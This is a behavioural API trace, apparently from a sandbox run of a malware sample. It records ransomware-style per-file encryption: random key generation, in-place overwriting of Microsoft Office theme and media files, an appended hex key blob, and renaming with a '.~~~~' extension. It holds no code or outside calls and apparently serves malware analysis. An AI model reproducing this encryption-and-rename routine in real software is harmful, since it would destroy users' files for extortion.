	[0123.590] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.590] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.590] CloseHandle (hObject=0x128) returned 1
	[0123.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x390880
	[0123.590] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\urban.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\urban.xml.~~~~")) returned 1
	[0123.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x390880 | out: hHeap=0x300000) returned 1
	[0123.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0123.591] GetLastError () returned 0x0
	[0123.591] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0123.592] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.592] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0123.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0123.592] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24358412289) returned 1
	[0123.594] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb32432b0, dwHighDateTime=0x1d60e1e)) 
	[0123.594] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0123.594] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0123.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0123.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281fa68
	[0123.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.595] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281fa68 | out: hHeap=0x300000) returned 1
	[0123.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.595] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6610
	[0123.595] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b4278
	[0123.595] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6610 | out: hHeap=0x300000) returned 1
	[0123.595] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0123.595] GetLastError () returned 0x0
	[0123.596] GetLastError () returned 0x0
	[0123.596] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0123.596] GetLastError () returned 0x0
	[0123.596] GetLastError () returned 0x0
	[0123.616] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff207, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.616] WriteFile (in: hFile=0x128, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xdf9, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0xdf9, lpOverlapped=0x0) returned 1
	[0123.617] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0123.617] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.617] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.618] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.618] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.618] CloseHandle (hObject=0x128) returned 1
	[0123.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a58b8
	[0123.618] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\waveform.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\waveform.xml.~~~~")) returned 1
	[0123.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a58b8 | out: hHeap=0x300000) returned 1
	[0123.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0123.619] GetLastError () returned 0x0
	[0123.620] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0123.621] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.621] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.622] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0123.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0123.622] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24361186009) returned 1
	[0123.622] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb3269410, dwHighDateTime=0x1d60e1e)) 
	[0123.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0123.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0123.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0123.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281fb48
	[0123.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.622] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281fb48 | out: hHeap=0x300000) returned 1
	[0123.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.622] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee630
	[0123.623] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0123.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee630 | out: hHeap=0x300000) returned 1
	[0123.658] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0123.659] GetLastError () returned 0x0
	[0123.659] GetLastError () returned 0x0
	[0123.659] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0123.659] GetLastError () returned 0x0
	[0123.659] GetLastError () returned 0x0
	[0123.662] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffeda00, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.662] WriteFile (in: hFile=0x128, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x12600, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0x12600, lpOverlapped=0x0) returned 1
	[0123.664] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0123.664] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.664] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.664] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.664] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.664] CloseHandle (hObject=0x128) returned 1
	[0123.665] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ee6d8
	[0123.665] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\verve.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\verve.thmx.~~~~")) returned 1
	[0123.666] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee6d8 | out: hHeap=0x300000) returned 1
	[0123.666] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0123.666] GetLastError () returned 0x0
	[0123.666] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0123.667] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0123.667] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0123.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0123.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0123.667] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24365737619) returned 1
	[0123.667] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb32db830, dwHighDateTime=0x1d60e1e)) 
	[0123.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0123.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0123.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0123.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b80d0
	[0123.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b80d0 | out: hHeap=0x300000) returned 1
	[0123.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee6d8
	[0123.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc8c8
	[0123.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee6d8 | out: hHeap=0x300000) returned 1
	[0123.668] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0123.668] GetLastError () returned 0x0
	[0123.668] GetLastError () returned 0x0
	[0123.668] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0123.668] GetLastError () returned 0x0
	[0123.668] GetLastError () returned 0x0
	[0123.671] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.671] WriteFile (in: hFile=0x128, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0123.674] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0123.674] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.674] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.677] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.677] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.677] CloseHandle (hObject=0x128) returned 1
	[0123.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc8c8
	[0123.677] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw.~~~~")) returned 1
	[0123.678] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bc8c8 | out: hHeap=0x300000) returned 1
	[0123.678] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0123.678] GetLastError () returned 0x0
	[0123.679] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0123.680] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0123.680] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.680] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0123.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0123.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0123.680] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24366998493) returned 1
	[0123.680] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb3301990, dwHighDateTime=0x1d60e1e)) 
	[0123.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0123.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0123.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0123.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b8098
	[0123.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.680] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8098 | out: hHeap=0x300000) returned 1
	[0123.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.680] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee6d8
	[0123.680] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bccf0
	[0123.681] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee6d8 | out: hHeap=0x300000) returned 1
	[0123.681] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0123.681] GetLastError () returned 0x0
	[0123.681] GetLastError () returned 0x0
	[0123.681] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0123.681] GetLastError () returned 0x0
	[0123.681] GetLastError () returned 0x0
	[0123.683] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffa7a6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.683] WriteFile (in: hFile=0x128, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x585a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0x585a, lpOverlapped=0x0) returned 1
	[0123.684] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0123.684] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.684] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.685] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.685] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.685] CloseHandle (hObject=0x128) returned 1
	[0123.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bccf0
	[0123.685] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\elphrg01.wav"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\elphrg01.wav.~~~~")) returned 1
	[0123.686] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bccf0 | out: hHeap=0x300000) returned 1
	[0123.686] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0123.686] GetLastError () returned 0x0
	[0123.686] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0123.687] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0123.687] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.687] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0123.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0123.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0123.687] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24367733182) returned 1
	[0123.687] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb3327af0, dwHighDateTime=0x1d60e1e)) 
	[0123.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0123.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0123.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0123.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b8060
	[0123.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0123.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8060 | out: hHeap=0x300000) returned 1
	[0123.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0123.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee6d8
	[0123.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bcd88
	[0123.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee6d8 | out: hHeap=0x300000) returned 1
	[0123.688] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0123.688] GetLastError () returned 0x0
	[0123.688] GetLastError () returned 0x0
	[0123.688] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0123.688] GetLastError () returned 0x0
	[0123.688] GetLastError () returned 0x0
	[0123.691] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffc9fe, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.691] WriteFile (in: hFile=0x128, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x3602, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0x3602, lpOverlapped=0x0) returned 1
	[0123.693] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0123.693] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
